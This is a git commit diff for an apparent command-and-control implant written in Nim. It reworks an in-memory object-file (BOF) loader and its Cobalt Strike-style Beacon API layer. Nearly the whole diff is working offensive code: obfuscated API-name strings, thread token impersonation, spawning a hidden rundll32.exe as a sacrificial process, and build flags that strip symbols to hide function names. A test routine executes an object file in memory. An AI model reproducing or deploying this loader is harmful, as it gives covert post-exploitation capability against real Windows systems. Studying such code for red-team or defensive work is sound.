Reworked beacon.nim with definitions from trustedSec's COFFLoader.

This commit is contained in:
Jakob Friedl
2025-08-29 13:40:00 +02:00
parent 957f96f1ca
commit 352b8fd8d1
5 changed files with 367 additions and 91 deletions

View File

@@ -5,4 +5,4 @@ nim --os:windows \
--cpu:amd64 \
--gcc.exe:x86_64-w64-mingw32-gcc \
--gcc.linkerexe:x86_64-w64-mingw32-gcc \
c $CONQUEST_ROOT/src/agent/main.nim
c $CONQUEST_ROOT/src/agent/main.nim

View File

@@ -1,86 +1,346 @@
import winim/core
import winim/lean
import ptr_math
import strformat
import ../../common/utils
# Reference: https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/beaconapi.nim
type va_list {.importc: "va_list", header: "<stdarg.h>".} = object
proc puts(s: pointer): void {.importc, header: "<stdio.h>".}
proc vprintf(format: pointer, args: va_list) {.importc, header: "<stdio.h>".}
proc va_start(va: va_list, fmt: pointer) {.importc, header: "<stdarg.h>".}
proc va_end(va: va_list): void {.importc, header: "<stdarg.h>".}
type datap* {.pure.} = object
original: PCHAR
buffer: PCHAR
length: INT
size: INT
#[
References:
- https://github.com/frkngksl/NiCOFF/blob/main/BeaconFunctions.nim
- https://github.com/trustedsec/COFFLoader/blob/main/beacon_compatibility.c
- https://github.com/Cracked5pider/CoffeeLdr/blob/main/Source/BeaconApi.c
]#
const
CALLBACK_OUTPUT* = 0x0
CALLBACK_OUTPUT_OEM* = 0x1e
CALLBACK_OUTPUT_UTF8* = 0x20
CALLBACK_ERROR* = 0xd
CALLBACK_OUTPUT = 0x0
CALLBACK_OUTPUT_OEM = 0x1e
CALLBACK_ERROR = 0x0d
CALLBACK_OUTPUT_UTF8 = 0x20
DEFAULT_PROCESS = protect("rundll32.exe")
proc BeaconDataParse*(parser: ptr datap, buffer: PCHAR, size: INT): void =
if cast[int](parser) == 0:
type
datap* {.bycopy,packed.} = object
original*: ptr char
buffer*: ptr char
length*: int
size*: int
formatp* {.bycopy,packed.} = object
original*: ptr char
buffer*: ptr char
length*: int
size*: int
# Reference: https://forum.nim-lang.org/t/7352
type va_list* {.importc: "va_list", header: "<stdarg.h>".} = object
proc va_start(format: va_list, args: ptr char) {.stdcall, importc, header: "stdio.h"}
proc va_end(ap: va_list) {.stdcall, importc, header: "stdio.h"}
proc vprintf(format: cstring, args: va_list) {.stdcall, importc, header: "stdio.h"}
proc vsnprintf(buffer: cstring; size: int; fmt: cstring; args: va_list): int {.stdcall, importc, dynlib: "msvcrt".}
var beaconCompatibilityOutput: ptr char = nil
var beaconCompatibilitySize: int = 0
var beaconCompatibilityOffset: int = 0
#[
Parsing
]#
proc BeaconDataParse(parser: ptr datap, buffer: ptr char, size: int): void {.stdcall.} =
if cast[uint64](parser) == 0:
return
parser.original = buffer
parser.buffer = buffer
parser.length = size - 4
parser.size = size - 4
parser.buffer = cast[PCHAR](cast[int](buffer) + 4)
parser.buffer += 4
return
proc BeaconDataInt*(parser: ptr datap): INT =
var fourbyteint: INT = 0
if (parser.length < 4):
return 0
copyMem(fourbyteint.addr, parser.buffer, 4)
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4)
parser.length = cast[INT](cast[int](parser.length) - 4)
proc BeaconDataInt(parser: ptr datap): int {.stdcall.}=
if cast[uint64](parser) == 0:
return
return fourbyteint
var returnValue: int = 0
if parser.length < 4:
return returnValue
copyMem(addr returnValue, parser.buffer, 4)
parser.length -= 4
parser.buffer += 4
return returnValue
proc BeaconDataShort*(parser: ptr datap): SHORT =
var retvalue: SHORT = 0
if (parser.length < 2):
return 0
copyMem(retvalue.addr, parser.buffer, 2)
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 2)
parser.length = cast[INT](cast[int](parser.length) - 2)
proc BeaconDataShort(parser: ptr datap): int16 {.stdcall.} =
if cast[uint64](parser) == 0:
return
return retvalue
var returnValue: int16 = 0
if parser.length < 2:
return returnValue
proc BeaconDataLength*(parser: ptr datap): INT =
copyMem(addr returnValue, parser.buffer, 2)
parser.length -= 2
parser.buffer += 2
return returnValue
proc BeaconDataLength(parser: ptr datap): int {.stdcall.} =
if cast[uint64](parser) == 0:
return
return parser.length
proc BeaconDataExtract*(parser: ptr datap, size: ptr INT): PCHAR =
var
length: INT = 0
outdata: PCHAR = nil
proc BeaconDataExtract(parser: ptr datap, size: ptr int): ptr char {.stdcall.} =
if cast[uint64](parser) == 0:
return
if (parser.length < 4):
return nil
var
length: int32 = 0
outData: ptr char = nil
# Length of prefixed binary blob
if parser.length < 4:
return NULL
copyMem(addr length, parser.buffer, 4)
parser.buffer += 4
copyMem(length.addr, parser.buffer, 4)
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4)
outdata = parser.buffer
if (outdata == nil):
return nil
parser.length = cast[INT](cast[int](parser.length) - 4)
parser.length = cast[INT](cast[int](parser.length) - length)
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + length)
if (size != nil) and (outdata != nil):
outData = parser.buffer
if(outData == NULL):
return NULL
parser.length -= 4
parser.length -= length
parser.buffer += length
if(size != NULL and outData != NULL):
size[] = length
return outData
return outdata
#[
Formatting
]#
proc BeaconFormatAlloc(format: ptr formatp, maxsz: int): void {.stdcall.} =
if format == NULL:
return
proc BeaconOutput*(typ: int, data: pointer, length: int): void =
puts(data)
format.original = cast[ptr char](alloc(maxsz))
zeroMem(format.original, maxsz)
format.buffer = format.original
format.length = 0
format.size = maxsz
proc BeaconPrintf*(typ: int, fmt: pointer): void {.varargs.} =
var va: va_list
va_start(va, fmt)
vprintf(fmt, va)
va_end(va)
proc BeaconFormatReset(format: ptr formatp): void {.stdcall.} =
if format == NULL:
return
zeroMem(format.original, format.size)
format.buffer = format.original
format.length = format.size
proc BeaconFormatFree(format: ptr formatp): void {.stdcall.} =
if format == NULL:
return
if cast[uint64](format.original) != 0:
dealloc(format.original)
format.original = NULL
format.buffer = NULL
format.length = 0
format.size = 0
proc BeaconFormatAppend(format: ptr formatp, text: ptr char, len: int): void {.stdcall.} =
if format == NULL or text == NULL:
return
copyMem(format.buffer,text,len)
format.buffer += len
format.length += len
proc BeaconFormatPrintf(format: ptr formatp, fmt: ptr char): void {.stdcall, varargs.} =
if format == NULL or fmt == NULL:
return
var args: va_list
var length: int = 0
va_start(args, fmt)
length = vsnprintf(NULL, 0, fmt, args)
va_end(args)
if format.length + length > format.size:
return
va_start(args, fmt)
discard vsnprintf(format.buffer, length, fmt, args)
va_end(args)
format.length += length
format.buffer += length
proc BeaconFormatToString(format: ptr formatp, size: ptr int): ptr char {.stdcall.} =
if format == NULL or size == NULL:
return
size[] = format.length
return format.original
proc swapEndianess(indata: uint32): uint32 =
var testInt: uint32 = cast[uint32](0xaabbccdd)
var outInt: uint32 = indata
if(cast[PBYTE](addr testInt)[] == 0xdd):
cast[PBYTE](addr outInt)[] = (cast[PBYTE](addr indata)+3)[]
(cast[PBYTE](addr outInt)+1)[] = (cast[PBYTE](addr indata)+2)[]
(cast[PBYTE](addr outInt)+2)[] = (cast[PBYTE](addr indata)+1)[]
(cast[PBYTE](addr outInt)+3)[] = cast[PBYTE](addr indata)[]
return outint
proc BeaconFormatInt(format: ptr formatp, value: int): void =
if format == NULL:
return
var indata:uint32 = cast[uint32](value)
var outdata:uint32 = 0
if format.length + 4 > format.size:
return
outdata = swapEndianess(indata)
copyMem(format.buffer, addr outdata, 4)
format.length += 4
format.buffer += 4
#[
Output functions
]#
proc BeaconPrintf(typeArg: int, fmt: ptr char):void{.stdcall, varargs.} =
if fmt == NULL:
return
var length: int = 0
var tempPtr: ptr char = nil
var args: va_list
va_start(args, fmt)
vprintf(fmt, args)
va_end(args)
va_start(args, fmt)
length = vsnprintf(NULL, 0, fmt, args)
va_end(args)
tempPtr = cast[ptr char](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + length + 1))
if tempPtr == nil:
return
beaconCompatibilityOutput = tempPtr
zeroMem(beaconCompatibilityOutput + beaconCompatibilityOffset, length + 1)
va_start(args, fmt)
length = vsnprintf(beaconCompatibilityOutput+beaconCompatibilityOffset,length,fmt,args)
beaconCompatibilitySize += length
beaconCompatibilityOffset += length
va_end(args)
proc BeaconOutput(typeArg: int, data: ptr char, len: int): void {.stdcall.} =
if data == NULL:
return
var tempPtr: ptr char = nil
tempPtr = cast[ptr char](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + len + 1))
beaconCompatibilityOutput = tempPtr
if tempPtr == nil:
return
zeroMem(beaconCompatibilityOutput + beaconCompatibilityOffset, len + 1)
copyMem(beaconCompatibilityOutput + beaconCompatibilityOffset, data, len)
beaconCompatibilitySize += len
beaconCompatibilityOffset += len
#[
Token functions
]#
proc BeaconUseToken(token: HANDLE): BOOL {.stdcall.} =
SetThreadToken(NULL, token)
return TRUE
# void BeaconRevertToken();
proc BeaconRevertToken(): void {.stdcall.} =
RevertToSelf()
# BOOL BeaconIsAdmin();
proc BeaconIsAdmin(): BOOL {.stdcall.}=
# Not implemented
return FALSE
#[
Spawn+Inject Functions
]#
proc BeaconGetSpawnTo(x86: BOOL, buffer: ptr char, length: int): void {.stdcall.} =
if buffer == NULL:
return
var tempBufferPath: string = ""
if cast[uint64](buffer) == 0:
return
if x86 == TRUE:
tempBufferPath = fmt"C:\Windows\SysWOW64\{DEFAULT_PROCESS}"
else:
tempBufferPath = fmt"C:\Windows\System32\{DEFAULT_PROCESS}"
if tempBufferPath.len > length:
return
copyMem(buffer, addr tempBufferPath[0], tempBufferPath.len)
proc BeaconSpawnTemporaryProcess(x86: BOOL, ignoreToken: BOOL, sInfo: ptr STARTUPINFOA, pInfo: ptr PROCESS_INFORMATION): BOOL {.stdcall.} =
var bSuccess: BOOL = FALSE
if x86 == TRUE:
bSuccess = CreateProcessA(NULL, fmt"C:\Windows\SysWOW64\{DEFAULT_PROCESS}", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo)
else:
bSuccess = CreateProcessA(NULL, fmt"C:\Windows\System32\{DEFAULT_PROCESS}", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo)
return bSuccess
proc BeaconInjectProcess(hProc: HANDLE, pid: int, payload: ptr char, p_len: int, p_offset: int, arg: ptr char, a_len: int): void {.stdcall.} =
# Not implemented
return
proc BeaconInjectTemporaryProcess(pInfo: ptr PROCESS_INFORMATION, payload: ptr char, p_len: int, p_offset: int, arg: ptr char, a_len: int): void {.stdcall.} =
# Not implemented
return
proc BeaconCleanupProcess(pInfo: ptr PROCESS_INFORMATION): void {.stdcall.} =
CloseHandle(pInfo.hThread)
CloseHandle(pInfo.hProcess)
#[
Utility Functions
]#
proc toWideChar(src: ptr char, dst: ptr char, max: int): BOOL {.stdcall.} =
# Not implemented
return FALSE
proc BeaconGetOutputData*(outSize: ptr int): ptr char {.stdcall.} =
var outData: ptr char = beaconCompatibilityOutput
if cast[uint64](outSize) != 0:
outsize[] = beaconCompatibilitySize
beaconCompatibilityOutput = NULL
beaconCompatibilitySize = 0
beaconCompatibilityOffset = 0
return outData
var beaconApiAddresses*: array[23, tuple[name: string, address: PVOID]] = [
(protect("BeaconDataParse"), BeaconDataParse),
(protect("BeaconDataInt"), BeaconDataInt),
(protect("BeaconDataShort"), BeaconDataShort),
(protect("BeaconDataLength"), BeaconDataLength),
(protect("BeaconDataExtract"), BeaconDataExtract),
(protect("BeaconFormatAlloc"), BeaconFormatAlloc),
(protect("BeaconFormatReset"), BeaconFormatReset),
(protect("BeaconFormatFree"), BeaconFormatFree),
(protect("BeaconFormatAppend"), BeaconFormatAppend),
(protect("BeaconFormatPrintf"), BeaconFormatPrintf),
(protect("BeaconFormatToString"), BeaconFormatToString),
(protect("BeaconFormatInt"), BeaconFormatInt),
(protect("BeaconPrintf"), BeaconPrintf),
(protect("BeaconOutput"), BeaconOutput),
(protect("BeaconUseToken"), BeaconUseToken),
(protect("BeaconRevertToken"), BeaconRevertToken),
(protect("BeaconIsAdmin"), BeaconIsAdmin),
(protect("BeaconGetSpawnTo"), BeaconGetSpawnTo),
(protect("BeaconSpawnTemporaryProcess"), BeaconSpawnTemporaryProcess),
(protect("BeaconInjectProcess"), BeaconInjectProcess),
(protect("BeaconInjectTemporaryProcess"), BeaconInjectTemporaryProcess),
(protect("BeaconCleanupProcess"), BeaconCleanupProcess),
(protect("toWideChar"), toWideChar)
]

View File

@@ -1,9 +1,7 @@
import winim/lean
import os, strformat, strutils, ptr_math
import ./beacon
import ../../common/[types, utils, crypto]
import sugar
import ../../common/[types, utils]
#[
Object file loading involves the following steps
@@ -128,19 +126,9 @@ proc objectResolveSymbol(symbol: var PSTR): PVOID =
# Check if the symbol is a Beacon API function
if ($symbol).startsWith(protect("Beacon")):
case $symbol:
of protect("BeaconDataParse"):
resolved = BeaconDataParse
of protect("BeaconDataInt"):
resolved = BeaconDataInt
of protect("BeaconDataShort"):
resolved = BeaconDataInt
of protect("BeaconDataExtract"):
resolved = BeaconDataExtract
of protect("BeaconOutput"):
resolved = BeaconOutput
of protect("BeaconPrintf"):
resolved = BeaconPrintf
for i in 0 ..< beaconApiAddresses.len():
if $symbol == beaconApiAddresses[i].name:
resolved = beaconApiAddresses[i].address
else:
# Resolve a external Win32 API function
@@ -277,7 +265,7 @@ proc objectProcessSection(objCtx: POBJECT_CTX): bool =
- args: Pointer to the address of the arguments passed to the object file
- argc: Size of the arguments passed to the object file
]#
proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: PBYTE, argc: ULONG): bool =
proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
var
objSym: PIMAGE_SYMBOL
@@ -312,7 +300,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: PBYTE, argc: ULONG):
# Execute BOF entry point
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
entryPoint(args, argc)
entryPoint(addr args[0], cast[ULONG](args.len()))
# Revert the memory protection change
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
@@ -331,7 +319,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: PBYTE, argc: ULONG):
- pArgs: Base address of the arguments to be passed to the function
- uArgc: Size of the arguments passed to the function
]#
proc inlineExecuteObjectFile*(pObject: PVOID, sFunction: PSTR = "go", pArgs: PBYTE, uArgc: ULONG): bool =
proc inlineExecute*(objectFile: seq[byte], args: seq[byte], entryFunction: string = "go"): bool =
var
objCtx: OBJECT_CTX
@@ -340,8 +328,9 @@ proc inlineExecuteObjectFile*(pObject: PVOID, sFunction: PSTR = "go", pArgs: PBY
secSize: ULONG
secBase: PVOID
if pObject == NULL or sFunction == NULL:
raise newException(CatchableError, "Arguments pObject and sFunction are required.")
var pObject = addr objectFile[0]
if pObject == NULL or entryFunction == NULL:
raise newException(CatchableError, "Arguments pObject and entryFunction are required.")
# Parsing the object file's file header, symbol table and sections
objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
@@ -405,23 +394,46 @@ proc inlineExecuteObjectFile*(pObject: PVOID, sFunction: PSTR = "go", pArgs: PBY
# Executing the object file
echo "[*] Executing."
if not objectExecute(addr objCtx, sFunction, pArgs, uArgc):
raise newException(CatchableError, fmt"Failed to execute function {$sFunction}.")
if not objectExecute(addr objCtx, entryFunction, args):
raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.")
return true
proc inlineExecuteGetOutput*(objectFile: seq[byte], args: seq[byte], entryFunction: string = "go"): string =
if not inlineExecute(objectFile, args, entryFunction):
raise newException(CatchableError, fmt"[-] Failed to inline-execute object file.")
var output = BeaconGetOutputData(NULL)
return $output
proc HexStringToByteArray(hexString:string,hexLength:int):seq[byte] =
var returnValue:seq[byte] = @[]
for i in countup(0,hexLength-1,2):
try:
#cho hexString[i..i+1]
returnValue.add(fromHex[uint8](hexString[i..i+1]))
except ValueError:
return @[]
#fromHex[uint8]
return returnValue
proc test*() =
var
fileName = "whoami.x64.o"
fileName = "dir.x64.o"
pObject = readFile(fileName)
uLength: ULONG = cast[ULONG](pObject.len)
echo fmt"[+] Read file {fileName}: 0x{(addr pObject[0]).toHex()} (Size: {uLength} bytes)"
try:
if not inlineExecuteObjectFile(addr pObject[0], "go", NULL, 0):
echo fmt"[-] Failed to inline-execute {fileName}"
let args = "130000000f000000433a2f55736572732f6a616b6f6200"
let argsBuffer = HexStringToByteArray(args, args.len)
echo $argsBuffer
echo inlineExecuteGetOutput(string.toBytes(pObject), argsBuffer)
except CatchableError as err:
echo "[-] ", err.msg

View File

@@ -70,4 +70,6 @@ proc main() =
echo "[-] ", err.msg
when isMainModule:
test()
quit(0)
main()

View File

@@ -1,5 +1,7 @@
# Compiler flags
-d:agent
-d:release
--opt:size
--passL:"-s" # Stip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"